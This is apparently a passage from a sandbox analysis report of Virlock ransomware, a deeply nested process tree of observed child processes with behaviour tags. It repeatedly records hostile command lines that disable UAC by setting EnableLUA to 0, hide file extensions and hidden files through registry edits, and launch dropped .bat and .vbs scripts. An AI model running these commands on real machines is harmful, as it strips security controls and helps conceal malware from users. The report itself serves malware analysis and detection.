                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\OqwQQMUE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                            34⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                            PID:4328
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                              35⤵
                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                              PID:4624
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                        32⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:5204
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                          33⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:3552
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                          32⤵
                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                          PID:1596
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                          32⤵
                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                          PID:4872
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zQgYIAIc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                          32⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:2876
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                              33⤵
                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                              PID:5568
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                        30⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                        PID:4924
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                        30⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:588
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                        30⤵
                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:5976
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JAUMUIYI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                        30⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5252
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                            31⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                            PID:1316
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                      28⤵
                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                      PID:5600
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                      28⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4856
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                        28⤵
                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:4452
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LWogoMAs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                        28⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                        PID:1752
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                          29⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                          PID:1264
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                    26⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                    PID:3292
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                    26⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1592
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                      26⤵
                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                      PID:2828
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CgEUskYk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                      26⤵
                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                      PID:2356
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                        27⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                        PID:5144
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                  24⤵
                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                  PID:4284
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                  24⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:4436
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                    24⤵
                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                    PID:5396
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\UMAUYoIA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                    24⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:4376
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                        25⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                        PID:4132
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                  PID:1180
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                  PID:3752
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                  PID:1548
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gAAckEQE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                  PID:4100
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                    23⤵
                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                    PID:2520
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                              PID:2876
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                                                                                                                                                                PID:4260
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                PID:3552
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gCQYYscQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                PID:4852
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                  21⤵
                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                  PID:5676
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                            18⤵
                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                            PID:2724
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                            18⤵
                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                            PID:788
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                              19⤵
                                                                                                                                                                                                                                                                                                                                                                PID:2128
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                              18⤵
                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                              PID:5880
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XoAcMkso.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                              18⤵
                                                                                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                              PID:3536
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                19⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                PID:4840
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                          PID:4008
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1608
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                            PID:1516
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HqEcwcAU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                            PID:5440
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                              17⤵
                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                              PID:3364
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                        PID:4576
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                                                                                                                                          PID:1268
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                          PID:2180
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nMEAggcA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                          PID:3864
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                            15⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                            PID:1416
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                      PID:3348
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                                        PID:984
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                        PID:4364
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cWkkcIoI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                        PID:5040
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                          PID:2564
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                    PID:1656
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                                                                      PID:2416
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                      PID:3744
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AWkUgoQU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                      PID:5620
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                        PID:4624
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                  PID:912
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                                    PID:3568
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
